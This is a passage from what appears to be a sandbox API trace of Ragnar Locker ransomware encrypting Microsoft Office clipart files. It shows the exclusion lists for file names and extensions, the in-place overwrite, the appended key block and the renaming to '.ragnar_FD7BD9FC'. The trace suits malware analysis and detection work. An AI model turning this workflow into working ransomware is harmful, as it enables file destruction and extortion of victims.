returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01474_.WMF" [0088.792] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01474_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01474_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01474_.WMF.ragnar_FD7BD9FC" [0088.792] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01474_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01474_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01474_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01474_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0088.793] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bb77a00, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x594f87d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2bb77a00, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0xce0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA01627_.WMF", cAlternateFileName="")) returned 1 [0088.793] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0088.793] lstrcpyW (in: lpString1=0x1eb62e, lpString2="NA01627_.WMF" | out: lpString1="NA01627_.WMF") returned="NA01627_.WMF" [0088.793] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01627_.WMF") returned=".WMF" [0088.793] lstrcmpiW (lpString1="NA01627_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0088.793] lstrcmpiW (lpString1="NA01627_.WMF", lpString2="autorun.inf") returned 1 [0088.793] lstrcmpiW (lpString1="NA01627_.WMF", lpString2="boot.ini") returned 1 [0088.793] lstrcmpiW (lpString1="NA01627_.WMF", lpString2="bootfont.bin") returned 1 [0088.793] lstrcmpiW (lpString1="NA01627_.WMF", lpString2="bootsect.bak") returned 1 [0088.793] lstrcmpiW (lpString1="NA01627_.WMF", lpString2="bootmgr") returned 1 [0088.793] lstrcmpiW (lpString1="NA01627_.WMF", lpString2="bootmgr.efi") returned 1 [0088.793] lstrcmpiW (lpString1="NA01627_.WMF", lpString2="bootmgfw.efi") returned 1 [0088.793] lstrcmpiW (lpString1="NA01627_.WMF", lpString2="desktop.ini") returned 1 [0088.793] lstrcmpiW (lpString1="NA01627_.WMF", lpString2="iconcache.db") returned 1 [0088.793] lstrcmpiW (lpString1="NA01627_.WMF", lpString2="ntldr") returned -1 [0088.793] lstrcmpiW (lpString1="NA01627_.WMF", lpString2="ntuser.dat") returned -1 [0088.793] lstrcmpiW (lpString1="NA01627_.WMF", lpString2="ntuser.dat.log") returned -1 [0088.793] lstrcmpiW (lpString1="NA01627_.WMF", lpString2="ntuser.ini") returned -1 [0088.793] lstrcmpiW (lpString1="NA01627_.WMF", lpString2="thumbs.db") returned -1 [0088.793] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0088.793] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0088.793] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0088.793] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0088.793] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0088.793] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0088.793] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0088.793] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01627_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01627_.wmf")) returned 0x20 [0088.794] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01627_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01627_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0088.794] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3296) returned 1 [0088.794] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xcd7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.794] GetProcessHeap () returned 0x580000 [0088.794] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0088.794] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0088.796] VirtualAlloc (lpAddress=0x0, dwSize=0xce0, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0088.796] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.796] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0088.796] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xce0, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xce0, lpOverlapped=0x0) returned 1 [0088.796] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0088.796] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xce0, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.796] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xce0, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xce0, lpOverlapped=0x0) returned 1 [0088.796] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xce0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.796] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.796] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xce0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.796] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.796] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.797] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.797] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0088.797] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.797] GetProcessHeap () returned 0x580000 [0088.797] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0088.797] CloseHandle (hObject=0xf4) returned 1 [0088.797] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01627_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01627_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01627_.WMF" [0088.797] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01627_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01627_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01627_.WMF.ragnar_FD7BD9FC" [0088.797] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01627_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01627_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01627_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01627_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0088.798] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f01d600, ftCreationTime.dwHighDateTime=0x1bd4be8, ftLastAccessTime.dwLowDateTime=0x594f87d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8f01d600, ftLastWriteTime.dwHighDateTime=0x1bd4be8, nFileSizeHigh=0x0, nFileSizeLow=0xb9e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA01680_.WMF", cAlternateFileName="")) returned 1 [0088.798] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0088.798] lstrcpyW (in: lpString1=0x1eb62e, lpString2="NA01680_.WMF" | out: lpString1="NA01680_.WMF") returned="NA01680_.WMF" [0088.798] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01680_.WMF") returned=".WMF" [0088.798] lstrcmpiW (lpString1="NA01680_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0088.798] lstrcmpiW (lpString1="NA01680_.WMF", lpString2="autorun.inf") returned 1 [0088.798] lstrcmpiW (lpString1="NA01680_.WMF", lpString2="boot.ini") returned 1 [0088.798] lstrcmpiW (lpString1="NA01680_.WMF", lpString2="bootfont.bin") returned 1 [0088.798] lstrcmpiW (lpString1="NA01680_.WMF", lpString2="bootsect.bak") returned 1 [0088.798] lstrcmpiW (lpString1="NA01680_.WMF", lpString2="bootmgr") returned 1 [0088.798] lstrcmpiW (lpString1="NA01680_.WMF", lpString2="bootmgr.efi") returned 1 [0088.798] lstrcmpiW (lpString1="NA01680_.WMF", lpString2="bootmgfw.efi") returned 1 [0088.798] lstrcmpiW (lpString1="NA01680_.WMF", lpString2="desktop.ini") returned 1 [0088.798] lstrcmpiW (lpString1="NA01680_.WMF", lpString2="iconcache.db") returned 1 [0088.798] lstrcmpiW (lpString1="NA01680_.WMF", lpString2="ntldr") returned -1 [0088.798] lstrcmpiW (lpString1="NA01680_.WMF", lpString2="ntuser.dat") returned -1 [0088.798] lstrcmpiW (lpString1="NA01680_.WMF", lpString2="ntuser.dat.log") returned -1 [0088.798] lstrcmpiW (lpString1="NA01680_.WMF", lpString2="ntuser.ini") returned -1 [0088.798] lstrcmpiW (lpString1="NA01680_.WMF", lpString2="thumbs.db") returned -1 [0088.798] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0088.798] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0088.798] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0088.798] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0088.798] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0088.798] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0088.798] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0088.798] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01680_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01680_.wmf")) returned 0x20 [0088.799] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01680_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01680_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0088.799] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2974) returned 1 [0088.799] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xb95, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.799] GetProcessHeap () returned 0x580000 [0088.799] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0088.799] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0088.800] VirtualAlloc (lpAddress=0x0, dwSize=0xb9e, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0088.801] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.801] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0088.801] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xb9e, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xb9e, lpOverlapped=0x0) returned 1 [0088.801] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0088.801] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xb9e, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.801] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xb9e, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xb9e, lpOverlapped=0x0) returned 1 [0088.801] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xb9e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.801] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.801] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xb9e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.801] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.801] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.802] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.802] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0088.802] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.802] GetProcessHeap () returned 0x580000 [0088.802] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0088.802] CloseHandle (hObject=0xf4) returned 1 [0088.802] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01680_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01680_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01680_.WMF" [0088.802] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01680_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01680_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01680_.WMF.ragnar_FD7BD9FC" [0088.802] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01680_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01680_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01680_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01680_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0088.803] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b6e4f00, ftCreationTime.dwHighDateTime=0x1bd4be8, ftLastAccessTime.dwLowDateTime=0x6a370b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8b6e4f00, ftLastWriteTime.dwHighDateTime=0x1bd4be8, nFileSizeHigh=0x0, nFileSizeLow=0xc88, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA01682_.WMF", cAlternateFileName="")) returned 1 [0088.803] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0088.803] lstrcpyW (in: lpString1=0x1eb62e, lpString2="NA01682_.WMF" | out: lpString1="NA01682_.WMF") returned="NA01682_.WMF" [0088.803] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01682_.WMF") returned=".WMF" [0088.803] lstrcmpiW (lpString1="NA01682_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0088.803] lstrcmpiW (lpString1="NA01682_.WMF", lpString2="autorun.inf") returned 1 [0088.803] lstrcmpiW (lpString1="NA01682_.WMF", lpString2="boot.ini") returned 1 [0088.803] lstrcmpiW (lpString1="NA01682_.WMF", lpString2="bootfont.bin") returned 1 [0088.803] lstrcmpiW (lpString1="NA01682_.WMF", lpString2="bootsect.bak") returned 1 [0088.803] lstrcmpiW (lpString1="NA01682_.WMF", lpString2="bootmgr") returned 1 [0088.803] lstrcmpiW (lpString1="NA01682_.WMF", lpString2="bootmgr.efi") returned 1 [0088.803] lstrcmpiW (lpString1="NA01682_.WMF", lpString2="bootmgfw.efi") returned 1 [0088.803] lstrcmpiW (lpString1="NA01682_.WMF", lpString2="desktop.ini") returned 1 [0088.803] lstrcmpiW (lpString1="NA01682_.WMF", lpString2="iconcache.db") returned 1 [0088.803] lstrcmpiW (lpString1="NA01682_.WMF", lpString2="ntldr") returned -1 [0088.803] lstrcmpiW (lpString1="NA01682_.WMF", lpString2="ntuser.dat") returned -1 [0088.803] lstrcmpiW (lpString1="NA01682_.WMF", lpString2="ntuser.dat.log") returned -1 [0088.803] lstrcmpiW (lpString1="NA01682_.WMF", lpString2="ntuser.ini") returned -1 [0088.803] lstrcmpiW (lpString1="NA01682_.WMF", lpString2="thumbs.db") returned -1 [0088.803] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0088.803] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0088.803] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0088.803] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0088.803] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0088.803] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0088.803] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0088.803] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01682_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01682_.wmf")) returned 0x20 [0088.804] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01682_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01682_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0088.804] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3208) returned 1 [0088.804] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xc7f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.804] GetProcessHeap () returned 0x580000 [0088.804] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0088.804] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0088.806] VirtualAlloc (lpAddress=0x0, dwSize=0xc88, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0088.806] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.806] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0088.806] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xc88, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xc88, lpOverlapped=0x0) returned 1 [0088.806] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0088.806] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xc88, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.806] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xc88, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xc88, lpOverlapped=0x0) returned 1 [0088.806] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xc88, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.806] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.806] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xc88, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.807] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.807] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.807] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.807] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0088.807] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.807] GetProcessHeap () returned 0x580000 [0088.807] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0088.807] CloseHandle (hObject=0xf4) returned 1 [0088.807] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01682_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01682_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01682_.WMF" [0088.807] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01682_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01682_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01682_.WMF.ragnar_FD7BD9FC" [0088.807] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01682_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01682_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01682_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program 